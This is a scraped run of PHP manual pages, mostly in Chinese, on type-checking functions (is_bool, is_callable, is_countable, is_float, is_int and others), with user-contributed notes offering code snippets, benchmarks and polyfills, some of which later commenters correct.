An error will be thrown If is_array() is applied to a nonexisting varble.
carren at AngieBecker dot ch 26-Sep-2017 08:48
This is probably the best way to test for associative arrays:

<?php
function is_assoc($test) {
        if (empty($test)) { return(false); }
        if (!is_array($test)) { return(false); }
        return ($test !== array_values($test));
}
?>

This version is based on the one from dmitry dot sushilov, which is unfortunately exactly opposite and misses the is_array and empty test.
http://php.net/manual/en/function.is-array.php#115901
Rob Thomas 05-Oct-2016 10:40
Please note that the 'cast to array' check is horrendously out of date.

Running that code against PHP 5.6 results in this:

is_array  :  0.93975400924683
cast, === :  1.2425191402435

So, please use 'is_array', not the horrible casting hack.
ari at umbrella dot bz 05-Sep-2016 08:34
hperrin's results have indeed changed in PHP 7. The opposite is now true, is_array is faster than comparison:

is_array  :  0.52148389816284
cast, === :  0.84179711341858

Tested 1000000 iterations.
mbrodala at pagemachine dot de 24-Aug-2016 01:22
Notice that the benchmark results from hperrin at gmail dot com have changed in the meantime:

is_array  :  0.31888604164124
cast, === :  0.58448791503906

(Using PHP 5.6.24, I expect other results with PHP 7)
dmitry dot sushilov at gmail dot com 12-Oct-2014 12:49
function is_associate_array($array)
{
    return $array === array_values($array);
}

or you can add check is_array in functions
joksnet at gmail dot com 08-Oct-2013 10:17
Here is something for compare `is_assoc` functions.

<?php
function is_assoc1($var)
{
    return is_array($var) && array_diff_key($var, array_keys(array_keys($var)));
}

function is_assoc2($var)
{
    return is_array($var) && array_diff_key($var, array_fill(0, count($var), null));
}

$count = 1000000;

$a = array('a' => 'foo', 'b' => 1, 'c' => true);
$b = array('a', 'b', 'c');

$i = $start_time = $end_time = 0;

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    assert(is_assoc1($a) === true);
    assert(is_assoc1($b) === false);
}
$end_time = microtime(true);
echo 'is_assoc1  :  ' . ($end_time - $start_time) . "\n";

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    assert(is_assoc2($a) === true);
    assert(is_assoc2($b) === false);
}
$end_time = microtime(true);
echo 'is_assoc2  :  ' . ($end_time - $start_time) . "\n";
?>

It prints something like this:

```
% php is_assoc.php
is_assoc1  :  19.36315202713
is_assoc2  :  18.954080104828
```

The first one is from
skaimauve (http://www.php.net/manual/en/function.is-array.php#89332). The second one is mine.
JTS 08-Jun-2010 04:22
I would change the order of the comparison, because if it is really an empty array, it is better to stop at that point before doing several 'cpu & memory intensive' function calls.

In the end on a ratio of 3 not empty arrays to 1 empty array computed for 1000000 iterations it needed 10% less time.
Or the other way round:
It needed approx 3% to 4% more time if the array is not empty, but was at least 4 times faster on empty arrays.

Additionally the memory consumption veritably lesser.

<?php
function is_assoc($array) {
    return (is_array($array) && (count($array)==0 || 0 !== count(array_diff_key($array, array_keys(array_keys($array))) )));
}
?>
hperrin at gmail dot com 28-May-2010 10:02
I've found a faster way of determining an array. If you use is_array() millions of times, you will notice a *huge* difference. On my machine, this method takes about 1/4 the time of using is_array().

Cast the value to an array, then check (using ===) if it is identical to the original.

<?php
if ( (array) $unknown !== $unknown ) {
    echo '$unknown is not an array';
} else {
    echo '$unknown is an array';
}
?>

You can use this script to test the speed of both methods.

<pre>
What's faster for determining arrays?

<?php

$count = 1000000;

$test = array('im', 'an', 'array');
$test2 = 'im not an array';
$test3 = (object) array('im' => 'not', 'going' => 'to be', 'an' => 'array');
$test4 = 42;
// Set this now so the first for loop doesn't do the extra work.
$i = $start_time = $end_time = 0;

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    if (!is_array($test) || is_array($test2) || is_array($test3) || is_array($test4)) {
        echo 'error';
        break;
    }
}
$end_time = microtime(true);
echo 'is_array  :  '.($end_time - $start_time)."\n";

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    if (!(array) $test === $test || (array) $test2 === $test2 || (array) $test3 === $test3 || (array) $test4 === $test4) {
        echo 'error';
        break;
    }
}
$end_time = microtime(true);
echo 'cast, === :  '.($end_time - $start_time)."\n";

echo "\nTested $count iterations."

?>
</pre>

Prints something like:

What's faster for determining arrays?

is_array  :  7.9920151233673
cast, === :  1.8978719711304

Tested 1000000 iterations.
Anonymous 16-May-2009 02:18
Using empty() in the previous example posted by Anonymous will result in a "Fatal error: Can't use function return value in write context".  I suggest using count() instead:

<?php
function is_assoc($array) {
    return (is_array($array) && 0 !== count(array_diff_key($array, array_keys(array_keys($array)))));
}
?>
skaimauve at yahoo dot ca 03-Mar-2009 12:12
Or you could make use of the array_diff_key and array_key function:

<?php

function is_assoc($var)
{
        return is_array($var) && array_diff_key($var,array_keys(array_keys($var)));
}

function test($var)
{
        echo is_assoc($var) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}

// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);

// an array
$b = array_values($a);
test($b);

// an object
$c = (object)$a;
test($c);

// other types
test($a->a);
test($a->b);
test($a->c);

?>

The above code outputs:
I'm an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
jim at akubo dot net 28-Oct-2008 11:02
yousef's example was wrong because is_vector returned true instead of false if the key was found
here is the fixed version (only 2 lines differ)
<?php
function is_vector( &$array ) {
   if ( !is_array($array) || empty($array) ) {
      return -1;
   }
   $next = 0;
   foreach ( $array as $k => $v ) {
      if ( $k !== $next ) return false;
      $next++;
   }
   return true;
}
?>
yousuf at philipz dot com 16-Oct-2008 03:41
alex frase's example is fast but elanthis at awesomeplay dot com's example is faster and Ilgar's modification of alex's code is faulty (the part " || $_array[$k] !== $v"). Also, Ilgar's suggestion of giving a false return value when the variable isnt an array is not suitable in my opinion and i think checking if the array is empty would also be a suitable check before the rest of the code runs.

So here's the modified (is_vector) version

<?php
function is_vector( &$array ) {
   if ( !is_array($array) || empty($array) ) {
      return -1;
   }
   $next = 0;
   foreach ( $array as $k => $v ) {
      if ( $k !== $next ) return true;
      $next++;
   }
   return false;
}
?>

and the modified (alex's is_assoc) version

<?php
function is_assoc($_array) {
    if ( !is_array($_array) || empty($array) ) {
        return -1;
    }
    foreach (array_keys($_array) as $k => $v) {
        if ($k !== $v) {
            return true;
        }
    }
    return false;
}
?>
alex frase 16-Jul-2008 08:05
Yet another simpler, faster is_assoc():

<?php
function is_assoc($array) {
  foreach (array_keys($array) as $k => $v) {
    if ($k !== $v)
      return true;
  }
  return false;
}
?>

In my tests it runs about twice as fast as Michael/Gabriel's array_reduce() method.

(Speaking of which: Gabriel's version doesn't work as written; it reports associative arrays as numeric if only the first key is non-numeric, or if the keys are numeric but ordered backwards.  Michael solves this problem by comparing array_reduce() to count(), but that costs another function call; it also works to just compare to -1 instead of 0, and therefore return -1 as the ternary else from the callback).
Michael 11-Sep-2007 12:37
A slight modification of what's below:

<?php

function is_assoc($array)
{
    return is_array($array) && count($array) !== array_reduce(array_keys($array), 'is_assoc_callback', 0);
}

function is_assoc_callback($a, $b)
{
    return $a === $b ? $a + 1 : 0;
}

?>
angelo [at] mandato <dot> com 26-Feb-2007 01:32
The is_associative_array() and is_sequential_array() functions posted by 'rjg4013 at rit dot edu' are not accurate.

The functions fail to recognize indexes that are not in sequence or in order.  For example, array(0=>'a', 2=>'b', 1=>'c') and array(0=>'a', 3=>'b', 5=>'c') would be considered as sequential arrays. A true sequential array would be in consecutive order with no gaps in the indices.

The following solution utilizes the array_merge properties. If only one array is given and the array is numerically indexed, the keys get re-indexed in a continuous way.  The result must match the array passed to it in order to truly be a numerically indexed (sequential) array.  Otherwise it can be assumed to be an associative array (something unobtainable in languages such as C).

The following functions will work for PHP >= 4.

<?php
    function is_sequential_array($var)
    {
        return (array_merge($var) === $var && is_numeric( implode( array_keys( $var ) ) ) );
    }

    function is_assoc_array($var)
    {
        return (array_merge($var) !== $var || !is_numeric( implode( array_keys( $var ) ) ) );
    }
?>

If you are not concerned about the actual order of the indices, you can change the comparison to == and != respectively.
jupiter at nospam dot com 29-May-2006 11:42
Will check a Multi-Dimentional Array to any specified level.  This is a fix to 11/16/05 submission, which would break since you must supply a foreach with an array. Beware recursive functions shouldn't go over 100 deep or could break the memory stack on server.

<?php
// checks for multiarray to defined depth level recursively
// original $level must be 2 or more, else will instantly return true
function isDeepMultiArray($multiarray, $level = 2) {  // default is simple multiarray
    if (is_array($multiarray)) {  // confirms array
        if ($level == 1) {  // $level reaches 1 after specified # of recursions
            return true;  // returns true to recursive function conditional
        }  // end conditional
        foreach ($multiarray as $array) {  // goes one level deeper into array
            if (isDeepMultiArray($array, $level - 1)) {  // check subarray
                $message = "I'm a multiarray";  // optional message
                return $message;  // best if $message = true so function returns boolean
            }  // end recursive function
        }  // end loop
    } else {  // not an array at specified level
    return false;  // is also used recursively so can't change to message
    }
}

if (isDeepMultiArray(array(array()), 2)); // beware this returns true eventhough arrays are empty

?>
BTW my notation is consistent with the PEAR manual on coding standards, which is what php.net says to follow. I hope a function like this gets included in PHP6.
March 30-Mar-2006 06:28
And here is another variation for a function to test if an array is associative. Based on the idea by mot4h.

<?php
function is_associative($array)
{
  if (!is_array($array) || empty($array))
    return false;

  $keys = array_keys($array);
  return array_keys($keys) !== $keys;
}
?>


检测变量是否是布尔值

  • ? is_array
  • is_callable ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否是布尔值

is_bool

(PHP 4, PHP 5, PHP 7, PHP 8)

is_bool — 检测变量是否是布尔值

说明

is_bool(mixed $value): bool

检查变量是否为布尔值。

参数

value

要检查的变量。

返回值

如果 value 是布尔值则返回 true，否则返回 false。

示例

Example #1 is_bool() 示例

<?php
$a = false;
$b = 0;

// 因为 $a 是布尔值，所以结果为 true
if (is_bool($a) === true) {
echo "Yes, this is a boolean";
}

// 因为 $b 不是布尔值，所以结果为 false
if (is_bool($b) === false) {
echo "No, this is not a boolean";
}
?>

参见

  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_string() - 查找变量的类型是否是字符串
  • is_object() - 查找变量是否是对象
  • is_array() - 检测变量是否是数组

User Contributed Notes

David Jarry 24-Oct-2023 11:41
Since PHP 8.0.0, it's more flexible to use a match() structure (e.g. for translations into another language), with all benefits of strict comparisons (===):

<?php
function to_bool(int|bool|string|null $value): bool|null {
    return match(is_string($value) ? strtolower(trim($value)) : $value) {
        1, TRUE, '1', 'true', 'on', 'yes', 'y' => TRUE,
        0, FALSE, '0', 'false', 'off', 'no', 'n' => FALSE,
        default => NULL,
    };
}
?>
Julio Marchi 08-Sep-2019 12:32
The function Michael Smith published doesn't do the work as it should.

To check if a variable is boolean is one thing, to evaluate if the value of a variable represents a boolean condition (true or false) is another.

Here a simple function that checks the status of the received variable in regards to boolean equivalencies (case insensitive).

<?php
/**
 * Check "Booleanic" Conditions :)
 *
 * @param  [mixed]  $variable  Can be anything (string, bol, integer, etc.)
 * @return [boolean]           Returns TRUE  for "1", "true", "on" and "yes"
 *                             Returns FALSE for "0", "false", "off" and "no"
 *                             Returns NULL otherwise.
 */
function is_enabled($variable)
{
    if (!isset($variable)) return null;
    return filter_var($variable, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
}
?>

Of course, it is a simplistic approach, but for the majority of cases it will do the job right.

And, just to put thing in the right perspective, here's a real function that does what Phill disclosed:

<?php
/**
 * Convert $variable to boolean (adapted from Phill answer)
 *
 * @param  [mixed]  $variable  Can be anything
 * @return [boolean]           Returns the booelan equivalent to $variable based on Zend Enegine interpretation
 */
function to_bool($variable)
{
    return (bool)$variable;
}
?>

I hope it helps someone. Happy coding.
phil 10-Jan-2019 06:21
It should be stated that this function returns true if the _type_ of it's argument is boolean. It does not convert or coerce the value to a boolean type, not sure why so many comments focus on how to do this.
However, if you arrived here looking for a solution to convert a value to a boolean type, use this:

to_bool($x) { return (bool)$x; }
Michael Smith 17-Nov-2013 01:17
The function in the last comment also converts the string 'false' to a true boolean. Here's a function that does what I think was intended:

<?php
function toBool($var) {
  if (!is_string($var)) return (bool) $var;
  switch (strtolower($var)) {
    case '1':
    case 'true':
    case 'on':
    case 'yes':
    case 'y':
      return true;
    default:
      return false;
  }
}


验证值是否可以在当前范围内作为函数调用。

  • ? is_bool
  • is_countable ?
  • PHP Manual
  • 变量处理函数
  • 验证值是否可以在当前范围内作为函数调用。

is_callable

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

is_callable — 验证值是否可以在当前范围内作为函数调用。

说明

is_callable(mixed $value, bool $syntax_only = false, string &$callable_name = null): bool

验证值是 callable。

参数

value

要验证的值

syntax_only

如果设置为 true，则函数仅验证 value 可能是函数或方法。它仅拒绝不是字符串的简单变量，或者不能用作回调的有效结构的数组。只有 2 个条目有效，一个是对象或者字符串，其次是字符串。

callable_name

接受"可调用的名称"。下面的例子是"someClass::someMethod"。注意，尽管 someClass::SomeMethod() 暗示是可调用的静态方法，但事实并非如此。

返回值

如果 value 可调用则返回 true，否则返回 false。

示例

Example #1 is_callable() 例子

<?php
// 如何检测变量以查看是否可以作为函数调用。

//
// 包含函数的简单变量
//

function someFunction()
{
}

$functionVariable = 'someFunction';

var_dump(is_callable($functionVariable, false, $callable_name)); // bool(true)

echo $callable_name, "\n"; // someFunction

//
// 包含方法的数组
//

class someClass {

function someMethod()
{
}

}

$anObject = new someClass();

$methodVariable = array($anObject, 'someMethod');

var_dump(is_callable($methodVariable, true, $callable_name)); // bool(true)

echo $callable_name, "\n"; // someClass::someMethod

?>

Example #2 is_callable() 和构造函数

is_callable() 报告构造函数不可调用。

<?php

class Foo
{
public function __construct() {}
public function foo() {}
}

var_dump(
is_callable(array('Foo', '__construct')),
is_callable(array('Foo', 'foo'))
);

以上示例会输出：

bool(false)
bool(false)

注释

  • 如果对象实现了 __invoke() 且该方法在当前作用域可见，则始终可调用。
  • 如果类名实现了 __callStatic()，则可调用。
  • 如果对象实现 __call()，则此函数对该对象的任何方法将返回 true，即使该方法没有定义。
  • 如果使用类名调用此函数，则会触发自动加载。

参见

  • function_exists() - 如果给定的函数已经被定义就返回 true
  • method_exists() - 检查类的方法是否存在

User Contributed Notes

php dot net at scare dot ca 03-Jul-2022 12:42
Note that is_callable('_') will return true, since there is a built-in function called "_". It is an alias for gettext().

https://www.php.net/manual/en/function.gettext.php

Searching this site for a function named "_" does not return a result, but it's the first result in a search for "_()".
mohamed dot elidrissi at protonmail dot com 28-Jun-2021 12:26
Note that -- as mentioned in the migration guide-- starting from PHP 8.0, is_callable() will not work with non-static methods if you use a class name, instead an object of the class should be provided:

<?php

class Test
{
    public function method1() { }
    public static function method2() { }
}

// Pre PHP 8
var_dump(is_callable(array('Test', 'method1'))); // bool(true)
var_dump(is_callable(array('Test', 'method2'))); // bool(true)

// Post PHP 8
var_dump(is_callable(array('Test', 'method1'))); // bool(false)
var_dump(is_callable(array('Test', 'method2'))); // bool(true)
var_dump(is_callable(array(new Test, 'method1'))); // bool(true)

?>
jlh 22-Mar-2019 09:28
The story about __call() is a bit more complicated unfortunately. It will always return true ONLY if you pass an instance of a class, not if you pass the class name itself:

<?php
class MyClass {
    public function method() { }
    public function __call($name, $arguments) { }
}

is_callable([MyClass::class, 'method']); // true
is_callable([new MyClass(), 'method']); // true
is_callable([MyClass::class, 'other']); // false!!!
is_callable([new MyClass(), 'other'])); // true
izharaazmi at gmail dot com 11-Jan-2016 06:50
If the target class has __call() magic function implemented, then is_callable will ALWAYS return TRUE for whatever method you call it.
is_callable does not evaluate your internal logic inside __call() implementation (and this is for good).
Therefore every method name is callable for such classes.

Hence it is WRONG to say (as someone said):
...is_callable will correctly determine the existence of methods made with __call...

Example:
<?php
class TestCallable
{
    public function testing()
    {
          return "I am called.";
    }

    public function __call($name, $args)
    {
        if($name == 'testingOther')
        {
                return call_user_func_array(array($this, 'testing'), $args);
        }
    }
}

$t = new TestCallable();
echo $t->testing();      // Output: I am called.
echo $t->testingOther(); // Output: I am called.
echo $t->working();      // Output: (null)

echo is_callable(array($t, 'testing'));       // Output: TRUE
echo is_callable(array($t, 'testingOther'));  // Output: TRUE
echo is_callable(array($t, 'working'));       // Output: TRUE, expected: FALSE
?>
fgm at osinet dot fr 27-Jun-2011 05:03
Note that, for the purpose of this function, an abstract method, although necessarily non-callable since it does not have a body, is still considered to be callable:

<?php
abstract class Foo {
  abstract function bar();
}

echo is_callable(array('Foo', 'bar'));
// display: 1
?>
rahadotaboulfethatgmail.com 01-Mar-2008 04:44
is_callable generates an [E_STRICT] error if the  tested method cannot be called staticly. (and returns the good value)

I used @is_called
i'm using php 5.2.1
Quis strrev TA omicidio strrev TOD com 13-Nov-2007 03:50
is_callable() does _not_ check wheter this function is disabled by php.ini's disable_functions

use:

<?PHP
function is_disabled($function) {
  $disabled_functions=explode(',',ini_get('disable_functions'));
  return in_array($function, $disabled_functions);
}
?>

I`m running PHP 5.2.4


验证变量内容是否为可数值

  • ? is_callable
  • is_double ?
  • PHP Manual
  • 变量处理函数
  • 验证变量内容是否为可数值

is_countable

(PHP 7 >= 7.3.0, PHP 8)

is_countable — 验证变量内容是否为可数值

说明

is_countable(mixed $value): bool

验证变量的内容是数组还是实现了 Countable 接口的对象

参数

value

需要检查的值

返回值

如果 value 是可数值，返回 true，否则返回 false。

更新日志

版本 | 说明
7.3.0 | is_countable() 被添加。

示例

Example #1 is_countable() 示例

<?php
var_dump(is_countable([1, 2, 3])); // bool(true)
var_dump(is_countable(new ArrayIterator(['foo', 'bar', 'baz']))); // bool(true)
var_dump(is_countable(new ArrayIterator())); // bool(true)
var_dump(is_countable(new stdClass())); // bool(false)

参见

  • is_array() - 检测变量是否是数组
  • is_object() - 查找变量是否是对象
  • is_iterable() - 验证变量的内容是否为可迭代值
  • is_bool() - 检测变量是否是布尔值

User Contributed Notes

zhaoyifans at gmail dot com 14-Dec-2022 03:53
polyfill:

function is_countable($value) {
    return is_array($value)
        || $value instanceof Countable
        || $value instanceof ResourceBundle
        || $value instanceof SimpleXmlElement;
}
info at ensostudio dot ru 25-Oct-2020 06:29
Note: if is_countable() return true is does not guarantee that the it can be calculated recursively and correctly:
<?php
$iterator = new ArrayIterator(['one', 'two', new ArrayIterator(['three', 'four'])]);
var_dump(is_countable($iterator), count($iterator, COUNT_RECURSIVE));
// return TRUE and 3!
?>
Anonymous 25-Oct-2020 04:58
Fixed polyfill:
<?php
if (! function_exists('is_countable')) {
    /**
      * @param mixed $value The value to check
      * @return bool
      */
    function is_countable($value): bool
    {
        return is_array($value) || (is_object($value) && $value instanceof Countable);
    }
}
?>
renic 12-Jun-2019 08:33
be wary of using is_object($var) and assuming that the object has implemented Countable.  Not all objects are countable directly with count().
danmichaelo at gmail dot com 08-Apr-2019 08:33
Note that a polyfill for this method is also provided by the symfony/polyfill project.
deoomen 01-Apr-2019 11:58
Polyfill written by arisendrake is not quite good. It return FALSE when checking an Simple XML Node but count() works properly on PHP 7.1 and 7.3.
Better is this one:

<?php
if (version_compare(PHP_VERSION, "7.3") < 0 && !function_exists("is_countable")) {
    function is_countable($var): bool
    {
        return (is_array($var) || is_object($var) || is_iterable($var) || $var instanceof Countable);
    }
}
?>
info at arisendrake dot de 30-Aug-2018 11:10
If you are unable to upgrade to PHP 7.3 (not released at the time of writing), you can use this simple polyfill:

<?php
if (!function_exists('is_countable')) {
    function is_countable($var) {
        return (is_array($var) || $var instanceof Countable);
    }
}
?>


别名 is_float

  • ? is_countable
  • is_float ?
  • PHP Manual
  • 变量处理函数
  • 别名 is_float

is_double

(PHP 4, PHP 5, PHP 7, PHP 8)

is_double — 别名 is_float()

说明

此函数是该函数的别名： is_float().

User Contributed Notes

There are no user contributed notes for this page.


查找变量的类型是否是浮点型

  • ? is_double
  • is_int ?
  • PHP Manual
  • 变量处理函数
  • 查找变量的类型是否是浮点型

is_float

(PHP 4, PHP 5, PHP 7, PHP 8)

is_float — 查找变量的类型是否是浮点型

说明

is_float(mixed $value): bool

查找指定变量的类型是否是浮点型。

Note:

测试变量是数字还是数字字符串（如表单输入，始终是字符串），必须使用 is_numeric()。

参数

value

要求值的变量。

返回值

如果 value 是 float，返回 true，否则返回 false。

示例

Example #1 is_float() 示例

var_dump(is_float(27.25));
var_dump(is_float('abc'));
var_dump(is_float(23));
var_dump(is_float(23.5));
var_dump(is_float(1e7)); // 科学计数
var_dump(is_float(true));
?>

以上示例会输出：

bool(true)
bool(false)
bool(false)
bool(true)
bool(true)
bool(false)

参见

  • is_bool() - 检测变量是否是布尔值
  • is_int() - 检测变量是否是整数
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_string() - 查找变量的类型是否是字符串
  • is_array() - 检测变量是否是数组
  • is_object() - 查找变量是否是对象

User Contributed Notes

Anonymous 28-Jan-2021 10:38
is_float() returns true for NAN, INF and -INF. You may want to test is_float($value) && is_finite($value), or alternatively filter_var($value, FILTER_VALIDATE_FLOAT) !== false.
ivan dot maruca at gmail dot com 19-Oct-2015 11:31
check if string/numeric is float or not :

<?php
function isFloat($value){
  return ((int)$value != $value) ;
}

isFloat('1.5') ;//return true
isFloat('15');//return false
isFloat('1e16');//return true
isFloat('foo');//return false
isFloat(5.98);//return true
isFloat(5);//return false
?>
Erutan409 at Hotmail dot com 19-May-2015 02:37
Boylett's solution is elegant (http://php.net/manual/en/function.is-float.php#85848), but won't work for long float's or variables that are not explicitly type of 'string' or for long floats that are encased in quotes, making it a string that will be truncated/rounded when cast to a float.  So, further logic must be completed to test for the case.  Take the following example:

<?php

if (!function_exists("test_float")) {

    function test_float($test) {

        if (!is_scalar($test)) {return false;}

        $type = gettype($test);

        if ($type === "float") {
            return true;
        } else {
            return preg_match("/^\\d+\\.\\d+$/", $test) === 1;
        }

    }

}

$test = "3.14159265358979323846264338g32795";

var_dump($test);
var_dump((float)$test);
var_dump($test == (string)(float)$test);
var_dump(test_float($test));

?>

Will produce (32-bit):

string(34) "3.14159265358979323846264338g32795"
float(3.1415926535898)
bool(false)
bool(false)

So far, so good, right?  Yeah, but it's misleading, because the string is so long, that when it's converted to a float, it won't be equivalent to the comparison of the value being cast back into a string .  So the aforementioned short function works.  Look at this next example:

<?php

$test = 3.1415926535897932384626433832795;

var_dump($test);
var_dump((float)$test);
var_dump($test == (string)(float)$test);
var_dump(test_float($test));

?>

Will produce (32-bit):

float(3.1415926535898)
float(3.1415926535898)
bool(false)
bool(true)

Why is it not working now, but the value is truly a float?  Same reasoning as mentioned before.  The float is so long that it's truncated/rounded and doesn't match the comparison being done with the short-hand function.

So, as you can see, more logic should be applied to the variable you're testing.
nonzer0value 26-Mar-2015 08:20
Coercing the value to float and back to string was a neat trick. You can also just add a literal 0 to whatever you're checking.

<?php
function isfloat($value) {
  // PHP automagically tries to coerce $value to a number
  return is_float($value + 0);
}
?>

Seems to work ok:

<?php
isfloat("5.0" + 0);  // true
isfloat("5.0");  // false
isfloat(5 + 0);  // false
isfloat(5.0 + 0);  // false
isfloat('a' + 0);  // false
?>

YMMV
KIVagant at gmail dot com 21-Aug-2012 12:04
Yet another regular expression for float in real life:

<?php
function isTrueFloat($val)
{
    $pattern = '/^[-+]?(((\\\\d+)\\\\.?(\\\\d+)?)|\\\\.\\\\d+)([eE]?[+-]?\\\\d+)?$/';

    return (!is_bool($val) && (is_float($val) || preg_match($pattern, trim($val))));
}
?>

// Matches:
1, -1, 1.0, -1.0, '1', '-1', '1.0', '-1.0', '2.1', '0', 0, ' 0 ', ' 0.1 ', ' -0.0 ', -0.0, 3., '-3.', '.27', .27, '-0', '+4', '1e2', '+1353.0316547', '13213.032468e-13465', '-8E+3', '-1354.98879e+37436'

// Non-matches:
false, true, '', '-', '.a', '-1.a', '.a', '.', '-.', '1+', '1.3+', 'a1', 'e.e', '-e-4', 'e2', '8e', '3,25'
Mitch 12-Jun-2012 08:27
Another RegEx for matching floats:
/^[+-]?(\d*\.\d+([eE]?[+-]?\d+)?|\d+[eE][+-]?\d+)$/

Matches:
1e2
+1353.0316547
13213.032468e-13465
-8E+3
-1354.98879e+37436

Non-matches:
8
e2
-e-4
E
asdf.safd
8e

Enjoy.
Boylett 20-Sep-2008 09:29
If you want to test whether a string is containing a float, rather than if a variable is a float, you can use this simple little function:

function isfloat($f) return ($f == (string)(float)$f);
ckelley at the ca - cycleworks dot com 14-Jul-2008 03:39
Personally, I use an implicit cast:

if( is_float($value+1) ){
    $value=sprintf("%.2f",$value);
}

Which turns 22.0000000 query result into 22.00 for display to users.
kshegunov at gmail dot com 31-Mar-2008 01:32
As celelibi at gmail dot com stated, is_float checks ONLY the type of the variable not the data it holds!

If you want to check if string represent a floating point value use the following regular expression and not is_float(),
or poorly written custom functions.

/^[+-]?(([0-9]+)|([0-9]*\.[0-9]+|[0-9]+\.[0-9]*)|
(([0-9]+|([0-9]*\.[0-9]+|[0-9]+\.[0-9]*))[eE][+-]?[0-9]+))$/
phper 25-Jan-2006 12:08
A better way to check for a certain number of decimal places is to use :

$num_dec_places = 2;
number_format($value,$num_dec_places);


检测变量是否是整数

  • ? is_float
  • is_integer ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否是整数

is_int

(PHP 4, PHP 5, PHP 7, PHP 8)

is_int — 检测变量是否是整数

说明

is_int(mixed $value): bool

检测变量的类型是否为整数（integer）。

Note:

若想检测变量是否是数字或数字字符串（如表单输入，它们通常为字符串），则必须使用 is_numeric() 。

参数

value

要检测的变量。

返回值

如果 value 是 int，则返回 true，否则返回 false。

示例

Example #1 is_int() 示例

<?php
$values = array(23, "23", 23.5, "23.5", null, true, false);
foreach ($values as $value) {
echo "is_int(";
var_export($value);
echo ") = ";
var_dump(is_int($value));
}
?>

以上示例会输出：

is_int(23) = bool(true)
is_int('23') = bool(false)
is_int(23.5) = bool(false)
is_int('23.5') = bool(false)
is_int(NULL) = bool(false)
is_int(true) = bool(false)
is_int(false) = bool(false)

参见

  • is_bool() - 检测变量是否是布尔值
  • is_float() - 查找变量的类型是否是浮点型
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_string() - 查找变量的类型是否是字符串
  • is_array() - 检测变量是否是数组
  • is_object() - 查找变量是否是对象

User Contributed Notes

lksunny at live dot hk 24-Aug-2017 09:19
<?
function check_num($num){
    if (preg_match("#^(-[0-9]{1,}|[0-9]{1,})$#", $num)){
        return true;
    }else{
        return false;
    }
}
var_dump(-1); //True
var_dump("-1"); //True
var_dump("1"); //True
var_dump("-999999999999999999"); //True
var_dump("999999999999999999"); //True
?>

negative number will be true :)
Hector (hector-ordonez.com) 25-Jul-2016 12:00
Simon Neaves's answer is incomplete: negative integers will return false.

I recommend checking stackoverflow's answers:
http://stackoverflow.com/questions/6416763/checking-if-a-variable-is-an-integer-in-php
Vasiliy Makogon 08-Apr-2016 10:10
If you want detect integer of float values, which presents as pure int or float, and presents as string values, use this functions:

<?php
function isInteger($val)
{
    if (!is_scalar($val) || is_bool($val)) {
        return false;
    }
    if (is_float($val + 0) && ($val + 0) > PHP_INT_MAX) {
        return false;
    }
    return is_float($val) ? false : preg_match('~^((:?+|-)?[0-9]+)$~', $val);
}

function isFloat($val)
{
    if (!is_scalar($val)) {
        return false;
    }
    return is_float($val + 0);
}

foreach ([
    '11111111111111111', 11111111111111111, // > PHP_INT_MAX - presents in PHP as float
    1, '10', '+1', '1.1', 1.1, .2, 2., '.2', '2.',
    '-2.', '-.2', null, [], true, false, 'string'
] as $value) {
    echo $value . ':' . gettype($value) . ' is Integer? - '  . (isInteger($value) ? 'yes' : 'no') . PHP_EOL;
    echo $value . ':' . gettype($value) . ' is Float? - '  . (isFloat($value) ? 'yes' : 'no') . PHP_EOL;
}
?>
davide dot renzi at gmail dot com 16-Dec-2015 12:32
I've found a faster way of determining an integer.
On my env, this method takes about half the time of using is_int().

Cast the value then check if it is identical to the original.

<?php
if ( (int) $n !== $n ) {
    echo 'not is int';
} else {
    echo 'is int';
}
?>
PHPDev esurf er s >dot 15-Apr-2015 02:32
This will check if something has an acceptable integer value, such as

a string with int value like "1" or "1.0"
a float with int value like 1.0
an int like 12e5

The same as is_numeric, but with integer values.

<?php

    function isIntValued($var) {
        if(is_numeric($var)) {
            $var=(float)$var;
            return ((float)(int)$var)===$var;
        }
        return FALSE;
    }

?>
felix dot b at outlook dot com 16-Mar-2015 02:13
((int)$foo === $foo) does exactly the same as is_int($foo), but is faster performancewise, because PHP has quite an overhead on function calls.

As you can see the expression only returns true if the type (and value) of $foo is the same as int-casted $foo, which is only the case when foo is an int.

This applies to all the other is* functions aswell.
Anonymous 07-Mar-2015 04:20
Sometimes, we need to validate if a DECIMAL returned by a SQL database is an int or not. DECIMAL always return .000 at end of the string.

Then i use:
<?php
function isInteger($input){
{
    if(strpos($input,"."))
        $input=preg_replace("/\.$/","",rtrim(strval($input),"0"));
    return (ctype_digit($input));
}
?>
ing dot alpi at gmail dot com 18-Sep-2013 03:18
Remember that some source of data always give a string data type.
That's the case with cookies and $_GET.
if you need to check against those values, try to convert them into numbers first.
The easiest way of doing so is adding a zero before your var, just like:

<?php
$var = '15'; // ...or $var = $_COOKIE['myvar'] or $var =
$_GET['myvar']...

is_int($var);  // now returns FALSE

$var += 0;

is_int($var);  // now returns TRUE
?>
some at somewhere dot com 02-Jul-2013 03:35
<?php
// check if input is a valid number
// first number must be 1 thru 9, followed by a number 0-9, no decimals
// true for "1", "1000"
// false for "01", "-1", "1.2"
function isInteger($input){
  return preg_match('@^[1-9][0-9]*$@',$input) === 1;
}
?>
petepostma at gmail dot spam dot com 17-Jul-2012 06:38
There is a versa to the vice of this int only type check.

is_int( $integer_type) will only return true, if the TYPE is int, not the value
ctype_digit( $string_type) will only return true if the TYPE is string, and its value is INT

therefore:
 return ( is_int($value) || ctype_digit($value) );
nicolas dot giraud at actiane dot com 27-Jun-2012 09:24
Just a shorter way to check if your variable is an int or a string containing a int without others digit than 0 to 9 :

<?php
